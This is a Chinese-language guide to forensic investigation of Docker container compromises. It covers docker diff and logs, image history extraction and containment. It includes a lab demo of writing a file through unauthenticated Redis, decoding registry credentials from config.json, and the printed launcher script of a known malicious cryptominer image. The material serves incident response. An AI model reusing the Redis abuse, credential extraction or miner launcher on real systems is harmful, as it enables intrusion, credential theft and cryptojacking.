容器安全事件排查與響應
聲明
本文為筆者對實際容器安全事件的歸納,僅代表個人觀點。
文末為容器安全事件排查與響應思維導圖。
引子
定位初始入侵位置
首先要確認入侵是否發生在容器內,或者說只在容器內。
場景:zabbix告警一個進程占用非常高,像是挖礦程序/DOS了。
但是查看進程的PPID卻發現是systemd,這種情況大概率是容器相關了。
首先獲取程序PID,然后查看對應進程的進程樹是否父進程為containerd-shim。

上圖比較清晰的介紹了各項之間的邏輯關系,不同docker版本有些區別,具體視情況決定。
以docker為例,可以通過如下方式確認宿主機內的docker進程及對應的容器名。
for i in $(docker container ls --format "{{.ID}}"); do docker inspect -f '{{.State.Pid}} {{.Name}}' $i; done
需要提醒的是,在生產環境可能有些輸出進程號為0,這種不是真的PID為0,是此刻容器處于restarting狀態。
了解環境基本信息
定位到對應的容器后,需要檢查該容器的一些基本信息。
檢查容器對外開放端口,是否有根據經驗即可判斷的風險。
docker ps #當前運行的容器、創建時間、運行狀態、映射的端口
檢查宿主機docker環境,比如是否docker deamon api對外開放,還是有很多運維因為種種原因可能做出這類配置的。
常見的容器逃逸checklist:
- 是否掛載了敏感目錄
- 是否是特權容器
- 宿主機內核版本是否在常見的逃逸漏洞影響范圍
- ......
最后檢查對應鏡像的運行命令,不過多數都是docker-entrypoint.sh,最好有容器管理員側的配合。
再次確認容器在宿主機的PID
docker inspect -f '{{.State.Pid}}' <容器ID>
最后是確定當前節點使用的鏡像倉庫,如果使用公網倉庫則需要排查是否存在被惡意拉取可能性,關于這點將在后面章節繼續。
容器分析
保存容器現場
如果需要進行取證就應該先暫停處置等工作,第一步是確保現場的完整性。
docker commmit <容器ID>docker checkpoint #需要開啟實驗性功能
因為一般跑容器的宿主機都是大內存機器,所以保存機器內存快照其實并不怎么方便。
場景:這里以常見的redis容器空口令導致redis被寫入私鑰為例。
環境搭建:使用vulhub環境模擬。
使用redis-cli連接空口令的redis,并在tmp目錄寫入名為hack的文件。
config set dir /tmpset shell hackedconfig set dbfilename hacksaveexit
容器的變更
入侵者在入侵容器后,做了什么變更,這個是比較關鍵的信息。
docker diff <容器ID>
C /tmpA /tmp/hack
類型解釋如下:
| A | 添加了文件或目錄 |
| --- | --- |
| D | 文件或目錄被刪除 |
| C | 文件或目錄已更改 |
查看文件時間(常見的容器基礎鏡像都不帶ll命令)
$ docker exec -i <容器ID> ls /tmp -altotal 8drwxrwxrwt 1 root root 31 Mar 6 02:46 .drwxr-xr-x 1 root root 17 Mar 6 02:24 ..-rw-r--r-- 1 redis redis 112 Mar 6 02:24 hack
不過生產環境噪音肯定非常大,需要一定安全知識、其他信息進行過濾。
深入容器基本信息
docker info #docker引擎的相關信息docker inspect -f docker inspect --format="{{json .Mounts}}" <容器ID> | jq #目錄在宿主機的具體掛載位置docker inspect --format="{{json .NetworkSettings}}" <容器ID> | jq #查看網絡信息docker inspect 80d15c023c6d | grep com.docker.compose #查看docker-compose路徑、鏡像、
容器日志分析
docker logs 所收集的日志是只包含標準輸出(STDOUT)與標準錯誤輸出(STDERR),所以粒度可能是不夠的。而且容器一旦重啟,docker log便會丟失。
許多知名項目在移植到docker時,也考慮到了這點,以nginx的Dockerfile為例,就是直接將access.log和error.log 軟鏈接到stdout和stderr。
ln -sf /dev/stdout /var/log/nginx/access.logln -sf /dev/stderr /var/log/nginx/error.log
2017年,Matt Stine在接受InfoQ采訪時將Observability(可觀測性)歸納為云原生的特征。在目前的CNCF中,可觀測性體系的產品主要分為Monitoring監控、Logging日志 、Tracing調用鏈。
因此如果有外部日志服務器,那么直接到日志服務器進行檢索即可,可能有更多的數據源、更專業的檢索工具,可以更好的分析安全事件。本文主要討論關于沒有持久化日志的情況。
繼續分析上面的場景
docker logs <容器ID>
1:C 06 Mar 02:24:04.043 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo1:C 06 Mar 02:24:04.043 # Redis version=4.0.14, bits=64, commit=00000000, modified=0, pid=1, just started1:C 06 Mar 02:24:04.043 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf1:M 06 Mar 02:24:04.044 * Running mode=standalone, port=6379.1:M 06 Mar 02:24:04.044 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.1:M 06 Mar 02:24:04.044 # Server initialized1:M 06 Mar 02:24:04.044 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.1:M 06 Mar 02:24:04.044 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issueswith Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.1:M 06 Mar 02:24:04.044 * Ready to accept connections1:M 06 Mar 02:24:33.332 * DB saved on disk
可以看到在06 Mar 02:24:33保存了一個DB
結合容器變更信息中,tmp目錄下的文件時間,可以判斷出該容器是在06 Mar 02:24被入侵,但是這個時間不完全對,因為容器的時區沒有設置,date命令可以看到使用的是UTC時區。
$docker exec -i <容器ID> dateSun Mar 6 02:30:08 UTC 2022
因為容器啟動時未配置時區,默認會使用UTC。
因為是UTC時區,所以就需要將時間+8小時即Mar 6 10:30:08。
其他安全設備日志
這點不多談,容器技術在設計時考慮了很多安全性,但是基礎的安全建設、設備還是需要的。
需要注意的是廠商有無容器安全案例?對于K8S等環境,POD、Node間東西向的流量是否能收集?
鏡像分析
假如容器是因為被投毒,所以造成的失陷,可以通過以下方式排查。當然,如果發生了項目文件泄露也可以分析鏡像排查,比如是否有.git等。
首選確定是否使用了docker-compose構建?如果使用,docker-compose.yml文件內容是哪些?
直接使用docker inspect ,就可以看到docker-compose的路徑。
$docker inspect <容器ID> | grep com.docker.compose
鏡像倉庫
首先確定容器使用的鏡像:是否使用了鏡像倉庫,除了直接問機器管理員還可以自己摸索(這點在攻擊者角度也是一樣的),直接通過docker info 命令查看即可。
不過,同樣需要關注的是鏡像倉庫的憑據。和其他Linux軟件一樣,secret一般都在用戶的環境變量。
如$HOME/.docker/config.json,甚至openshift都可以通過該文件創建secret(也可以自定義的,參數是--config,且優先級更高)。
$oc create secret generic dockerhub \ --from-file=.dockerconfigjson= \ --type=kubernetes.io/dockerconfigjson
回歸主線,查看以下json文件
$cat /root/.docker/config.json
192.168.xxxx.xxx:8888即是倉庫對應的IP:ort
{ "auths": { "192.168.xxxx.xxx:8888": { "auth": "YWRtaW46SGFyYm9yMTIzNDU=" } }}
這里auth的value就是用戶名:密碼,可以直接base64解碼。
$echo "YWRtaW46SGFyYm9yMTIzNDU=" | base64 -dadmin:Harbor12345
除了其他機器失陷,導致鏡像倉庫憑據泄露,進而導致鏡像被惡意拉取。當然也可能是harbor項目配置不當,比如配置成了public項目、registry錯誤配置或利用了harbor漏洞...
鏡像掃描
新版本的docker已經和synk合作提供鏡像掃描服務,當然也可以使用一些開源的鏡像掃描工具比如Trivy、Clair,或者是鏡像倉庫掃描器,比如新版本harbor就是默認集成了,其他的商業容器安全平臺一般也有Adapter集成harbor用于掃描。
在掃描過程中可以發現一些應用漏洞(需要排除大量誤報)+配置錯誤。
鏡像分析
在確保基礎鏡像的安全性后,分析鏡像主要有兩點:提取出鏡像的構建過程和鏡像構建過程中引用的文件。
場景模擬:dockerhub上的一個挖礦鏡像
docker pull hsww/xmrig-centos7:v6.12.2
鏡像的構建過程
使用docker history
docker history --no-trunc hsww/xmrig-centos7:v6.12.2
效果如下,其實有點難理解,但是優點是有時間等信息。
IMAGE CREATED CREATED BY SIZE COMMENTsha256:3960a79adeabfa493f9fb8e183808d291d48f01ed56218f8d3364518d2cd302a 9 months ago /bin/sh -c #(nop) ENTRYPOINT ["/usr/bin/xmrig"] 0B 9 months ago /bin/sh -c #(nop) COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin 7.69MB 15 months ago /bin/sh -c #(nop) CMD ["/bin/bash"] 0B 15 months ago /bin/sh -c #(nop) LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00 0B 15 months ago /bin/sh -c #(nop) ADD file:b3ebbe8bd304723d43b7b44a6d990cd657b63d93d6a2a9293983a30bfc1dfa53 in / 204MB
使用dfimage工具
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"dfimage -sV=1.36 hsww/xmrig-centos7:v6.12.2
提取出的信息如下
LABEL org.label-schema.schema-version=1.0 org.label-schema.name=CentOS Base Image org.label-schema.vendor=CentOS org.label-schema.license=GPLv2 org.label-schema.build-date=20201113 org.opencontainers.image.title=CentOS Base Image org.opencontainers.image.vendor=CentOS org.opencontainers.image.licenses=GPL-2.0-only org.opencontainers.image.created=2020-11-13 00:00:00+00:00CMD ["/bin/bash"]COPY file:e08e85a10f13e9a15bcb7001e743118149b28e66ca238058a9010b9baf26a6b7 in /usr/bin usr/ usr/bin/ usr/bin/xmrig ENTRYPOINT ["/usr/bin/xmrig"]
然后把/usr/bin/xmrig文件復制出來分析即可
/usr/bin/xmrigdocker inspect hsww/xmrig-centos7:v6.12.2 #查看UpperDir目錄,直接復制其中內容即可docker inspect --format='{{.GraphDriver.Data.UpperDir}}' hsww/xmrig-centos7:v6.12.2
因為我這里使用的是默認的overlay2驅動,可以通過docker info查看當前使用的docker 存儲驅動。
最下層是lower層,是只讀/鏡像層。
upper是容器的讀寫層,采用了CoW(寫時復制)機制,只有對文件進行修改才會將文件拷貝到upper層,之后所有的修改操作都會對upper層的副本進行修改。
upper并列還有workdir層,它的作用是充當一個中間層的作用,每當對upper層里面的副本進行修改時,會先當到workdir,然后再從workdir移動upper層。
最上層是mergedir,是一個統一圖層,從mergedir可以看到lower,upper,workdir中所有數據的整合,整個容器展現出來的就是mergedir層。
$tree -l.└── usr └── bin └── xmrig
構建引用的文件
這里使用dockerhub上的docker72590/apache:latest進行分析,這個鏡像也是一個知名的惡意鏡像。
dfimage -sV=1.36 docker72590/apache:latest
解析出的Dockerfile文件為
CMD ["/bin/sh"]/bin/shWORKDIR /homeCMD ["sh" "-c" "./.system \ && tail -f /dev/null"]
可以看到其中的關鍵是/home/.system文件
docker inspect --format='{{.GraphDriver.Data.UpperDir}}' docker72590/apache:latest
但是目錄下沒有,可能在基礎鏡像時已經包含了這個內容,所以得看LowerDir。
$docker inspect --format='{{.GraphDriver.Data.LowerDir}}' docker72590/apache:latest/var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff:/var/lib/docker/overlay2/79107e83796cd78d7477d8e0dec22dc363eb56e966d7a49e64858bf5937227e5/diffcd /var/lib/docker/overlay2/53199a18fdaeaf2f273be827ac59f5f1ed674b3fe53605bbcc62c8eaf784c2f9/diff$tree -a.├── bin│ ├── apache2│ ├── httpd│ └── httpd-crypto├── home│ └── .system├── usr│ └── share│ └── .apache│ └── ...│ ├── apache4│ ├── .dat│ ├── httpd│ ├── .httpd5.pid│ └── .httpd6.pid└── var └── tmp ├── .apache │ └── ... │ └── httpd └── .crypto └── ... ├── .ddns ├── .ddns.pid ├── httpd-crypto └── .stop.sh
所以在這里無法顯示,也可以通過dive查看鏡像構建過程引用的文件。
docker pull wagoodman/dive #拉取dive鏡像docker run --rm -it \ -v /var/run/docker.sock:/var/run/docker.sock \ wagoodman/dive:latest docker72590/apache:latest

注意這里的層ID
提取鏡像
docker save docker72590/apache:latest -o apache.bin
使用binwalk進行提取,其實也可以直接解壓,這里我直接解壓
docker save docker72590/apache:latest -o apache.tarmkdir apache/tar xvf apache.tar -C apache/
根據dive的信息,直接看對應的一層,找到.system,有個經驗技巧就是鏡像第一層會在最上面。
$ls a40defa7c3de20011509b2acfc6d12137efcf033df032bc34c67f04582c88a53/home -alhtotal 4.0Kdrwxr-xr-x. 2 root root 21 Dec 6 16:57 .drwxr-xr-x. 6 root root 95 Mar 6 03:22 ..-rwxr-xr-x. 1 1000 1000 466 Nov 23 11:33 .system
因為啟動方式是sh啟動,所以可以查看文件內容。
#/bin/bashexport LC_ALL=C.UTF-8export LANG=C.UTF-8 export DOCKER_API_VERSION=1.24 ping -c 3 -w 5 google.com 2>/dev/null 1>/dev/nullif [ $? != 0 ];then sed -i 's/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g' /etc/apk/repositories fi mkdir -p /var/tmp/.apache/... apk updateapk add redis docker jq libpcap-dev openrc curl --no-cache cd /var/tmp/.crypto/..../httpd-crypto cd /var/tmp/.apache/..../httpd cd /usr/share/.apache/...sleep 60./httpd
這里就不繼續分析了。
處置手段
處置第一步應該是下線相關應用/修復應用風險,而不是這些措施,不過有時候有用。
比如K8S的Cluster Autoscaler和Horizontal Pod Autoscaler等功能,假如頻繁性的在一個node上阻斷操作,master可能判定該node異常,因此將pod調度到其他節點,這種情況甚至可能對于攻擊者毫無感知,同樣的exp打過來效果可能都是一樣的
但是對于防御者來說,大大增加了處置成本,即不停的在不同node進行處置,而且需要K8S管理員頻繁配合,確定POD調度的node。
下面提到的方式主要是短時止血的思路,需要結合應用部署實施的實際情況決定。
暫停容器
docker pause <容器ID> docker unpause <容器ID> #取消暫停容器
刪除容器,除非迫不得已
docker rm -f <容器ID>
小結
